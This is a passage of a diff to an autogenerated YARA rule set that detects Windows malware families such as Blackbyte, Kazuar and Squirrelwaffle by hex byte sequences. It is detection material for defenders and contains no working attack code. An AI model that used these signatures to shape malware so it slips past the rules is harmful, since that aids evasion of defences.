$sequence_7 = { 83e801 7404 32c0 eb23 e8???????? eb1a e8???????? } - $sequence_8 = { 8d542410 8bce e8???????? e9???????? 83f803 750e } - $sequence_9 = { 7404 8b38 eb03 8b7dfc 807e0c00 7530 53 } + $sequence_0 = { 56 57 33f6 bfa8a24000 833cf55490400001 751d 8d04f550904000 } + $sequence_1 = { 6a69 668945ae 58 6a49 59 6a44 } + $sequence_2 = { 897e70 c686c800000043 c6864b01000043 c7466818934000 6a0d } + $sequence_3 = { 5f c3 56 8b35???????? 68287c4000 57 ffd6 } + $sequence_4 = { c3 55 8bec 81ec4c030000 c785e4fcffff00b006c7 c785e8fcffffdab6ace6 c785ecfcffffc25c3799 } + $sequence_5 = { 3d40984000 741b 3998b4000000 7513 50 e8???????? } + $sequence_6 = { ff45fc 8b45fc 3b45f4 7cb7 ebae 8b45f0 ebab } + $sequence_7 = { 897e14 897e70 c686c800000043 c6864b01000043 c7466818934000 } + $sequence_8 = { 817de00c714000 7311 8b45e0 8b00 85c0 7402 ffd0 } + $sequence_9 = { 8b401c 8b08 3bc8 7439 } condition: - 7 of them and filesize < 87040 + 7 of them and filesize < 49152 } -rule MALPEDIA_Win_Remexi_Auto : FILE +rule MALPEDIA_Win_Tor_Loader_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "a43f5f53-342c-554e-8dee-8b775f5bb787" + id = "3efe54eb-a7c6-56b3-9bd1-ec8766a85b3b" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.remexi_auto.yar#L1-L285" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tor_loader" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tor_loader_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "9706deaac2e1169c2e84699b44e0890d8108f6f9e0cb051afcf90fb12b3b28d6" + logic_hash = "9c749aa4d74905eff81845b43499929e58555479c62182eca79940824f3864ac" score = 75 - quality = 73 + quality = 75 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -82892,53 +82882,32 @@ rule MALPEDIA_Win_Remexi_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 56 c706ffffffff e8???????? 83c404 } - $sequence_1 = { 890d???????? 68???????? 41 50 a3???????? c705????????02000000 890d???????? } - $sequence_2 = { 68???????? 50 ff15???????? 8b0d???????? 8b35???????? 890d???????? 68???????? } - $sequence_3 = { 6a10 8d4ddc 8bf0 51 } - $sequence_4 = { 6a00 6a02 c785ccfeffff28010000 ff15???????? } - $sequence_5 = { 5f c3 56 ff15???????? 57 8b3d???????? } - $sequence_6 = { 8945e4 8945e8 b802000000 51 } - $sequence_7 = { 56 6824000100 50 57 ff15???????? } - $sequence_8 = { a3???????? c705????????02000000 890d???????? ffd6 6a00 6a00 6a00 } - $sequence_9 = { 6828010000 8d8dccfeffff 6a00 51 } - $sequence_10 = { 50 6a02 ff15???????? 6a10 8d4ddc } - $sequence_11 = { 7513 8b45d8 8b4818 8b5104 } - $sequence_12 = { 89470c 57 894710 ff15???????? 6a00 6a00 6a01 } - $sequence_13 = { c705????????ffffffff c705????????01000000 c705????????00000000 ffd6 83ffff } - $sequence_14 = { 52 6a00 68ffff1f00 ffd7 8bf0 } - $sequence_15 = { 015518 8b5d14 85db 0f8565fbffff } - $sequence_16 = { 488d542450 488d4c2420 e8???????? 488d442420 4889442440 488d542420 } - $sequence_17 = { 015330 41 894b0c e9???????? } - $sequence_18 = { 488bc3 c60000 44897320 41b901000000 488d1529f30100 488bcf } - $sequence_19 = { 016b24 89e8 83c44c 5b } - $sequence_20 = { 4898 4885c0 7515 4883fb06 7305 } - $sequence_21 = { 015930 3b542408 0f8d10ffffff 8d3c52 } - $sequence_22 = { 488bcf e8???????? 4885db 0f8428010000 48837f1810 7227 } - $sequence_23 = { 7468 48c74424380f000000 48897c2430 c644242000 4983c9ff } - $sequence_24 = { 015330 e9???????? 8b5314 3b5318 0f8d23020000 } - $sequence_25 = { 014b30 bf???????? b903000000 8b742418 } - $sequence_26 = { e8???????? 48837f1810 48895f10 7205 488b07 eb03 } - $sequence_27 = { c3 4053 4883ec20 488d0d73340100 ff15???????? 488d1586340100 } - $sequence_28 = { 015330 8a10 eb84 8a5001 } - $sequence_29 = { 016b04 83c41c 5b 5e } - $sequence_30 = { 0f8540010000 488d1583310100 488bcb e8???????? 4c8bf0 4885c0 0f8421010000 } + $sequence_0 = { 90 eb25 4839c8 0f831a030000 4c8d5001 4c39d1 0f8602030000 } + $sequence_1 = { bf03000000 488d358e732800 e8???????? 0fb6542447 488b7c2460 4c8b442458 4889c6 } + $sequence_2 = { eb0f 488b442438 c6808800000001 4889c7 ba01000000 e9???????? 81fa2251f4eb } + $sequence_3 = { 7659 488b842428010000 488b9c2430010000 488b9424f0000000 488b0a 488b7a08 488b7210 } + $sequence_4 = { eb29 4889d3 4889c1 4889f0 e8???????? 488b542448 488bb424d0000000 } + $sequence_5 = { ebd4 833d????????00 750d 48c705????????00000000 eb0e 488d3dfc515b00 31c9 } + $sequence_6 = { eb23 488d056b4d6100 31db 488b6c2410 4883c418 c3 0fb75052 } + $sequence_7 = { eb09 4889c7 90 e8???????? 488d0554112200 488b5c2428 488d0d86392700 } + $sequence_8 = { 48c7400813000000 488d0deaf90a00 488908 488b4c2410 48894810 4889c3 488d05ad3e0500 } + $sequence_9 = { bf04000000 e8???????? 6690 4883fb01 7509 80382d 7504 } condition: - 7 of them and filesize < 614400 + 7 of them and filesize < 13050880 } -rule MALPEDIA_Win_Blackbyte_Auto : FILE +rule MALPEDIA_Win_Sendsafe_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "3f4218e0-59a8-5f1a-8491-b9f27553e507" + id = "14b9e6b6-2043-58da-b1e8-265e07b21f6c" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbyte" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.blackbyte_auto.yar#L1-L156" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sendsafe" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sendsafe_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "0158273c319395ac538b84dc759203c353b02e7e79481c3f34491558ae9bcead" + logic_hash = "1cc8bf83d06a8d8be9a015120fbe9f24392bb542d1a6aed7e6e2573904d5eeb5" score = 75 quality = 75 tags = "FILE" @@ -82952,38 +82921,32 @@ rule MALPEDIA_Win_Blackbyte_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 498d7101 0f1f440000 4839c6 7ce0 4889c6 41b806000000 } - $sequence_1 = { 3bc1 7505 e8???????? 4883c304 } - $sequence_2 = { 3bc2 72f4 b8ffffffff 4883c420 } - $sequence_3 = { 3bc7 7ce0 eb03 488bda } - $sequence_4 = { 3bc1 7f4d 33c9 4c63c8 } - $sequence_5 = { 4983f851 7553 4c8d4002 4c39c1 } - $sequence_6 = { 4989c3 4889cf 488b4c2428 48897c2450 4c895c2468 4b8d0413 90 } - $sequence_7 = { 4983f803 0f8f66010000 90 4983f801 0f8fb6000000 } - $sequence_8 = { 3bc2 7f2f 4c63d8 85c0 } - $sequence_9 = { 0f1005???????? 4c8960e0 4533e4 4c8968d8 } - $sequence_10 = { 4983f805 0f8511020000 4c8d4304 4c39c6 } - $sequence_11 = { 493b6610 0f8626010000 4883ec70 48896c2468 488d6c2468 } - $sequence_12 = { 3bc1 7573 488d4c2448 664585c0 } - $sequence_13 = { 3bc1 7558 498bcb 6685d2 } - $sequence_14 = { 4989c3 488b8424b0000000 e8???????? 488b4c2468 } - $sequence_15 = { 493b6610 767b 4883ec38 48896c2430 488d6c2430 4889442440 49c7c500000000 } + $sequence_0 = { 8b5508 52 8d45bc 50 e8???????? 83c40c 8d4dbc } + $sequence_1 = { eb07 c745dc00000000 0fb645dc 85c0 0f842f010000 8b4dfc 83c110 } + $sequence_2 = { ffd2 83c408 e9???????? 8b4508 8b08 c741146d000000 8b5508 } + $sequence_3 = { b904000000 6bd10e 8b4dfc 33441110 3345f4 8945f4 8b55f4 } + $sequence_4 = { 8b952cfdffff 837a1410 721c 8b8564fcffff 898524fdffff 8b8d2cfdffff 8b11 } + $sequence_5 = { e8???????? 83c414 85c0 0f84e1010000 ff7518 8d4704 57 } + $sequence_6 = { e8???????? 83c408 8b4dfc 89411c 8b5508 8b8214010000 c1e003 } + $sequence_7 = { e9???????? e8???????? 8bd0 89542434 85d2 7511 684f060000 } + $sequence_8 = { eb1e 8b55f4 833a00 7406 c645fe01 eb04 c645fe00 } + $sequence_9 = { ff15???????? 8d5508 52 8b4dfc 83c104 e8???????? 8945f8 } condition: - 7 of them and filesize < 9435136 + 7 of them and filesize < 3743744 } -rule MALPEDIA_Win_Plurox_Auto : FILE +rule MALPEDIA_Win_Ngioweb_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "00819bcc-51e2-53a8-9308-9b7887ed6069" + id = "0c36bfdd-8dfc-5ce2-bea9-f354084a9adc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.plurox" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.plurox_auto.yar#L1-L112" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ngioweb" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ngioweb_auto.yar#L1-L133" license_url = "N/A" - logic_hash = "fa579257df25509063a4df447932e0b25e6ea4c45a2af23b4dfc95998427a19a" + logic_hash = "63470bb29a6555e27026baafc523ffac609f0c101ccb6a3d82cc98debb8823c5" score = 75 quality = 75 tags = "FILE" @@ -82997,32 +82960,32 @@ rule MALPEDIA_Win_Plurox_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0416 128bc606091a f6870f1a000000 e10d 21c9 8918 } - $sequence_1 = { 0a20 0816 ec bbf2000000 } - $sequence_2 = { 300f 353e0fee3c 031e 2200 } - $sequence_3 = { 624a8b 0416 128bc606091a f6870f1a000000 e10d 21c9 } - $sequence_4 = { 94 f8 21480e 2a15???????? 6f } - $sequence_5 = { 6808486409 58 0000 00e4 0487 58 } - $sequence_6 = { 0925???????? 0000 c48dcd713240 89f5 } - $sequence_7 = { 0416 128bc606091a f6870f1a000000 e10d } - $sequence_8 = { 0442 6808486409 58 0000 } - $sequence_9 = { 0d04b8ca08 6af3 dac9 0000 00ee } + $sequence_0 = { 3bfb 763d 33c0 395d14 8d747efe 0f95c0 894508 } + $sequence_1 = { 7569 8b4510 2b45cc 6a16 6a05 50 ff750c } + $sequence_2 = { 03c0 50 56 e8???????? 57 56 8945e8 } + $sequence_3 = { 8b442404 85c0 7408 8b809c000000 eb02 33c0 c20400 } + $sequence_4 = { 50 6a10 8d4604 50 e8???????? eb46 80fa03 } + $sequence_5 = { 51 ffd0 8b5f14 68159fa331 56 e8???????? 53 } + $sequence_6 = { ff742408 e8???????? 6a00 56 e8???????? 33c0 5e } + $sequence_7 = { ff7508 e8???????? 85c0 7531 ff7508 e8???????? 6a00 } + $sequence_8 = { 66c745f86900 66c745f67600 66c745f46700 66c745f26200 66c745f06400 668975ee 66c745ec4700 } + $sequence_9 = { 395d0c 750d 8b85d8fdffff 85c0 8945fc 7519 } condition: - 7 of them and filesize < 475136 + 7 of them and filesize < 204800 } -rule MALPEDIA_Win_Hotcroissant_Auto : FILE +rule MALPEDIA_Win_Squirrelwaffle_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "83ef5f77-5617-5f2c-aab4-e7c78e791ad8" + id = "870824b4-58bb-571d-92bf-60311c954be1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hotcroissant" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hotcroissant_auto.yar#L1-L118" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.squirrelwaffle" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.squirrelwaffle_auto.yar#L1-L117" license_url = "N/A" - logic_hash = "dce551f3abb53b003bc43a41a6cd9ea09bb62dbd64ab9e901fd3bd3c6af24937" + logic_hash = "ca7cf3c3a665a3fb39ef07c14cbbf782e38d67a5236157091e835f3cda65f067" score = 75 quality = 75 tags = "FILE" @@ -83036,32 +82999,32 @@ rule MALPEDIA_Win_Hotcroissant_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 52 6a00 68703a0000 6a00 } - $sequence_1 = { 6a00 c705????????00000000 ff15???????? 6a00 } - $sequence_2 = { 52 50 6a08 ff15???????? 50 ff15???????? 85c0 } - $sequence_3 = { ffd6 6800040000 68???????? 68???????? 68???????? ffd6 } - $sequence_4 = { 6a01 50 ff15???????? a1???????? 8b35???????? 50 ffd6 } - $sequence_5 = { 8b15???????? 33c0 52 a3???????? a3???????? a3???????? } - $sequence_6 = { 8b15???????? 52 ffd6 893d???????? } - $sequence_7 = { 56 57 683f000f00 33db 53 53 ff15???????? } - $sequence_8 = { ffd7 807c30ff5c 8b1d???????? 740a } - $sequence_9 = { 8b15???????? 33c0 52 a3???????? a3???????? } + $sequence_0 = { 0f44ca 51 e8???????? 8b8690010000 47 } + $sequence_1 = { c645fc03 8d55cc 837de010 8b4b10 } + $sequence_2 = { 83c408 68???????? 6a14 6a18 } + $sequence_3 = { 40 84c9 75f9 2bc7 8d4db8 50 } + $sequence_4 = { 50 52 e8???????? 83c40c 8d7b40 ff734c ff15???????? } + $sequence_5 = { 8d45ed c7855cf7ffff00000000 c78560f7ffff0f000000 c6854cf7ffff00 3bf0 740f 2bc6 } + $sequence_6 = { 0f46c2 50 e8???????? 83c404 85c0 0f848c000000 8d7023 } + $sequence_7 = { 2bc2 3bc1 0f82d4000000 837f1410 7202 } + $sequence_8 = { 50 8b4508 50 03c1 } + $sequence_9 = { 837de010 8b4b10 8b75cc 0f43d6 } condition: - 7 of them and filesize < 591872 + 7 of them and filesize < 147456 } -rule MALPEDIA_Win_Dnspionage_Auto : FILE +rule MALPEDIA_Win_Isspace_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f66d8271-cdd2-51ef-96af-74c2c2b12bda" + id = "e2eec2f1-7baf-5dcc-a6aa-a2a11e65c5fc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dnspionage" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.dnspionage_auto.yar#L1-L126" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.isspace" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.isspace_auto.yar#L1-L103" license_url = "N/A" - logic_hash = "e53e7ef31e7434c4327d38b1a8e0754ac09c84880301d9d6d51e12488698b367" + logic_hash = "c1331a8a4f2f7f8169497cb9d4ae59c19406daa94f505a8ed56551a7b1886f8a" score = 75 quality = 75 tags = "FILE" @@ -83075,32 +83038,30 @@ rule MALPEDIA_Win_Dnspionage_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 99 52 50 e8???????? 83c408 8bd0 b9???????? } - $sequence_1 = { 33f6 8b4608 034604 0306 50 } - $sequence_2 = { 803d????????00 7517 c605????????01 33c0 c605????????01 5b } - $sequence_3 = { ff15???????? 83c404 33c0 5f 5e 5b 8b4df8 } - $sequence_4 = { 56 8d8500feffff 8bf1 50 e8???????? 838d0cfeffff07 8b4624 } - $sequence_5 = { eb0a 8d0492 8d144509000000 8bcf 43 } - $sequence_6 = { c7450c00000000 8d4d0c ba???????? 51 8d4df4 } - $sequence_7 = { b9???????? e8???????? 6a00 6a01 e8???????? 8bd0 b9???????? } - $sequence_8 = { 83c404 8bf8 33f6 0f1f4000 e8???????? 33d2 } - $sequence_9 = { ff15???????? 83bdf8feffff00 764a ff15???????? 85c0 7540 8b85f8feffff } + $sequence_0 = { 6a23 eb04 6a00 6a2b 68???????? 6a00 } + $sequence_1 = { 6800200300 a3???????? e8???????? 6800200300 } + $sequence_2 = { 33c5 50 8d45f0 64a300000000 8965e8 c745fc00000000 ff15???????? } + $sequence_3 = { eb19 6a00 6a1c eb0a 6a00 6a23 } + $sequence_4 = { 6a00 68???????? 68???????? 68???????? 53 ff15???????? 8bf0 } + $sequence_5 = { 50 50 6a03 6a02 ff15???????? 894604 } + $sequence_6 = { e8???????? 6800010000 8d8600010000 6a00 } + $sequence_7 = { 6a00 6a00 6800010000 53 6aff } condition: - 7 of them and filesize < 786432 + 7 of them and filesize < 434176 } -rule MALPEDIA_Win_Xiangoop_Auto : FILE +rule MALPEDIA_Win_Kazuar_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "361620d5-e5e6-5f74-925d-645a80b78212" + id = "ccff8922-162c-572c-8893-65e66a285e05" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.xiangoop" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.xiangoop_auto.yar#L1-L121" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazuar" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazuar_auto.yar#L1-L124" license_url = "N/A" - logic_hash = "f8f21cace7fd103bdd27ecbe99bad091ab92dc71874d8f32014c3d64cede2d0d" + logic_hash = "e795bcf133e170c8cc0011c1658f28fb0b95178f81911116117a7619cede54b7" score = 75 quality = 75 tags = "FILE" @@ -83114,32 +83075,32 @@ rule MALPEDIA_Win_Xiangoop_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8945fc e9???????? e9???????? 837d1020 0f850e040000 b901000000 6bd100 } - $sequence_1 = { 81e2ff000000 8b45f4 c1e810 25ff000000 8b0c95587d0110 330c8558650110 8b55f8 } - $sequence_2 = { 6bd10d 8b4dfc 890411 ba04000000 6bc206 } - $sequence_3 = { 83e801 0f8539010000 c745e414430110 8b4508 } - $sequence_4 = { 8b45f4 0fb64c081c 81e1ff000000 c1e108 0bd1 } - $sequence_5 = { 57 8d1c8518b00110 8b03 90 8b15???????? 83cfff 8bca } - $sequence_6 = { b804000000 6bc805 8b45fc 8b75fc 8b1410 } - $sequence_7 = { 8b55f0 c1ea00 81e2ff000000 330495585d0110 b904000000 6bd105 } - $sequence_8 = { 8b45dc c1e800 25ff000000 330c85585d0110 ba04000000 6bc203 8b55fc } - $sequence_9 = { b901000000 6bd100 8b45f4 0fb64c1010 } + $sequence_0 = { 7452 83b98c00000000 7449 4c01de 31db 8b6e20 448b6618 } + $sequence_1 = { 83c002 c744240400000000 668945f2 8d45ec c7042400000000 8944240c 8d45f0 } + $sequence_2 = { e8???????? 89c3 e8???????? 01c0 895df4 } + $sequence_3 = { 31c0 4885c9 4989cb 89d7 7463 4863493c } + $sequence_4 = { 8b0402 4c01d8 eb07 48ffc3 ebc8 31c0 } + $sequence_5 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c 83ec18 } + $sequence_6 = { 6685c9 7417 e8???????? 0fb7c0 41ffc1 } + $sequence_7 = { 31c0 4885db 7428 4989db 498b4b40 e8???????? 3d88ae6393 } + $sequence_8 = { 7425 e8???????? 39f8 751c 8b4624 4801db } + $sequence_9 = { 8d8b00030000 894c2408 8d4b08 894c2404 ff522c } condition: - 7 of them and filesize < 246784 + 7 of them and filesize < 81920 } -rule MALPEDIA_Win_Yokai_Auto : FILE +rule MALPEDIA_Win_Zlob_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b04b80f2-53b4-5c24-9a48-b847d3a545be" + id = "05847610-c838-5d32-b338-8d5b68ddc2fc" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yokai" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yokai_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zlob_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "caca021b644694d243a390b5d4a331d52bc15ed81e965c2661870a1fa9d1ad5a" + logic_hash = "540ffbf034a9c137ad7d038d10b65fce4aa537a82bbe9b720e7907a3d6dfd9c7" score = 75 quality = 75 tags = "FILE" @@ -83153,32 +83114,32 @@ rule MALPEDIA_Win_Yokai_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 83780400 7f5e 8b4d14 83790400 7514 8b5514 8b4208 } - $sequence_1 = { 8945fc 837dfc00 751e 8b55fc 8955b4 8d4df4 e8???????? } - $sequence_2 = { 8b4d24 51 6a00 6a7e 68???????? 68???????? 68???????? } - $sequence_3 = { c645ac4c c645ad6f c645ae61 c645af64 c645b04c c645b169 c645b262 } - $sequence_4 = { e8???????? 6a00 6a00 6a00 8d85a0fdffff 50 6a00 } - $sequence_5 = { 0345d4 a3???????? 8b4dec 8b15???????? 2b5114 8915???????? 8b450c } - $sequence_6 = { 8945c0 8b4dc0 898d70ffffff 8d9570ffffff 52 8d45d0 50 } - $sequence_7 = { 8a11 8855ff 8b45f8 8b480c 83c101 8b55f8 894a0c } - $sequence_8 = { 8d0c50 894df8 e8???????? c5fe7f4580 8b530c 2b55ec } - $sequence_9 = { ff15???????? 3bf4 e8???????? 50 a1???????? 83c004 50 } + $sequence_0 = { 8944241c c70424e8030000 e9???????? ffd3 ffd3 ffd6 } + $sequence_1 = { 0f8436010000 ffd5 ffd5 ffd6 ffd7 } + $sequence_2 = { ffd7 ffd6 ffd7 ffd6 ffd6 ffd7 8d842440020000 } + $sequence_3 = { 50 ffd6 85c0 750d 6a08 6a01 57 } + $sequence_4 = { c685f5fdffff31 c685f6fdffff65 c685f7fdffff30 c685f8fdffff2d c685f9fdffff64 c685fafdffff65 } + $sequence_5 = { 8d4c242c e8???????? 8b442448 89442410 eb05 834c2410ff 8d4c241c } + $sequence_6 = { 742e 6a03 ff75f0 ff15???????? 85c0 751f 6a03 } + $sequence_7 = { c644241301 ff742414 ff15???????? 8b3d???????? ff742418 ff15???????? } + $sequence_8 = { 6a0c a3???????? e8???????? 59 85c0 } + $sequence_9 = { 895104 e8???????? c20400 56 57 8b7c240c 8bc7 } condition: - 7 of them and filesize < 2066432 + 7 of them and filesize < 98304 } -rule MALPEDIA_Win_Rctrl_Auto : FILE +rule MALPEDIA_Win_Targetcompany_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "521dcb03-760d-5ed1-9bc0-cfe33a8e8406" + id = "4c6c1b9e-4647-5918-893c-d13ce0b5fa25" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rctrl" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.rctrl_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.targetcompany" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.targetcompany_auto.yar#L1-L125" license_url = "N/A" - logic_hash = "3aa1e790ecad0aeaad15ec64d74fdf04a1c9b1767736a5ae9f383b695d1cefd0" + logic_hash = "47a23feab60239622d1061098dd7caa46d2a81895190e3a3f7d203abbeea4b5b" score = 75 quality = 75 tags = "FILE" @@ -83192,32 +83153,32 @@ rule MALPEDIA_Win_Rctrl_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 41 0024bf 41 00558b ec 81ec90000000 a1???????? } - $sequence_1 = { e8???????? c3 83795c00 7405 } - $sequence_2 = { 7507 32db e9???????? 6890010000 8d8564fcffff 6a00 50 } - $sequence_3 = { e8???????? cc 55 8bec 837d0c00 57 8bf9 } - $sequence_4 = { 8b02 3b07 7536 52 e8???????? 83ceff 8985c8fbffff } - $sequence_5 = { b801000000 833d????????00 0f8516710000 ba05000000 8d0dd0185a00 e8???????? 5a } - $sequence_6 = { ffb3780b0000 8d4d80 6a00 6a00 56 50 e8???????? } - $sequence_7 = { 8bc7 8b55cc 83c2f0 f00fc1420c 48 85c0 7f08 } - $sequence_8 = { 84c0 75f9 2bce 51 52 e8???????? 6a00 } - $sequence_9 = { e9???????? 8d8de0fcffff e9???????? 8d8de8fcffff e9???????? 8d8d00fdffff e9???????? } + $sequence_0 = { 8955f4 e8???????? ff75b4 8bf8 53 } + $sequence_1 = { e8???????? 8d45b0 50 8d85c0feffff 50 8d8d10ffffff e8???????? } + $sequence_2 = { 8bcf 83f808 7207 8b17 89550c eb03 897d0c } + $sequence_3 = { 57 6a0f 5a 8bce 8d45e0 e8???????? } + $sequence_4 = { 50 ff15???????? be08000100 56 8944242c 8d842430450000 53 } + $sequence_5 = { 53 895db0 8955b4 e8???????? ff75b4 8906 8b4708 } + $sequence_6 = { 0f85a0000000 56 50 68???????? e8???????? 83c40c 83bdbcfeffff20 } + $sequence_7 = { 8945c0 8b75c0 8d7d9c a5 } + $sequence_8 = { ab ab 53 53 ab 8b442424 6801200000 } + $sequence_9 = { 83fe50 72d0 8db564ffffff e8???????? } condition: - 7 of them and filesize < 4315136 + 7 of them and filesize < 328704 } -rule MALPEDIA_Win_Orcarat_Auto : FILE +rule MALPEDIA_Win_Sanny_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "f18bd4e3-b820-5b26-a4b2-4899e6f773ec" + id = "3b4b3143-6e56-57d2-a40c-de1821af2738" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.orcarat" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.orcarat_auto.yar#L1-L127" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sanny" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sanny_auto.yar#L1-L130" license_url = "N/A" - logic_hash = "267a82fd5372f110668cffe923381f6f74a52ece9ba8a9c79d169c7d32552337" + logic_hash = "e2fbc4a585eb4f31f4417da33af8b6c1fed46bb262bdcc20859cec67dc3394ca" score = 75 quality = 75 tags = "FILE" @@ -83231,32 +83192,32 @@ rule MALPEDIA_Win_Orcarat_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8a0d???????? 8a15???????? 346f 80f170 8844245e a1???????? 884c245c } - $sequence_1 = { 85c0 755a 57 8dbbb0010000 83c9ff 8d9534020000 } - $sequence_2 = { 51 68???????? 53 56 ffd5 85c0 } - $sequence_3 = { 8bcd 6a00 e8???????? 85c0 7507 5f } - $sequence_4 = { c21000 8d442420 6a00 8d4c2418 50 51 } - $sequence_5 = { 6a01 8bcd c7432801000000 896c241c e8???????? } - $sequence_6 = { 8b942408080000 56 8bf1 57 8bfa 83c9ff 33c0 } - $sequence_7 = { 5e 81c404080000 c20400 8d54240e 8bce 52 } - $sequence_8 = { f3a5 8bc8 83e103 f3a4 8d4c241c 51 e8???????? } - $sequence_9 = { 0f84d1000000 80bc241c0400003f 0f8488000000 8bc3 8d94241c040000 2bc2 8dbc241c040000 } + $sequence_0 = { 68???????? 56 e8???????? 8b4c2434 8b542430 51 52 } + $sequence_1 = { 8b4c240c 6a05 51 8bce } + $sequence_2 = { 8d4c241c 51 8d542444 6a00 8d4c2434 52 51 } + $sequence_3 = { 894614 83c002 50 e8???????? 8b4e14 83c404 41 } + $sequence_4 = { eb63 3c02 755f 8b861cc70000 85c0 7455 8b542408 } + $sequence_5 = { 8b542410 52 ffd5 8d442414 43 50 53 } + $sequence_6 = { 8b54244c 8d442454 8d4c240c 50 51 8d442428 52 } + $sequence_7 = { 81ec08040000 8d442400 56 8bb42414040000 50 8b842420040000 8d54240c } + $sequence_8 = { 53 57 8d3c85c4714100 bb00100000 7520 53 } + $sequence_9 = { 8d3449 2bd1 8d34b530634100 832600 83c60c 4a 75f7 } condition: - 7 of them and filesize < 114688 + 7 of them and filesize < 253952 } -rule MALPEDIA_Win_Dragonforce_Auto : FILE +rule MALPEDIA_Win_Manitsme_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "04e040d9-91b9-5636-bb88-ea712bdc46a2" + id = "71cb4532-c54e-57eb-a20c-2765fcfa6978" date = "2026-01-05" modified = "2026-01-06" - reference 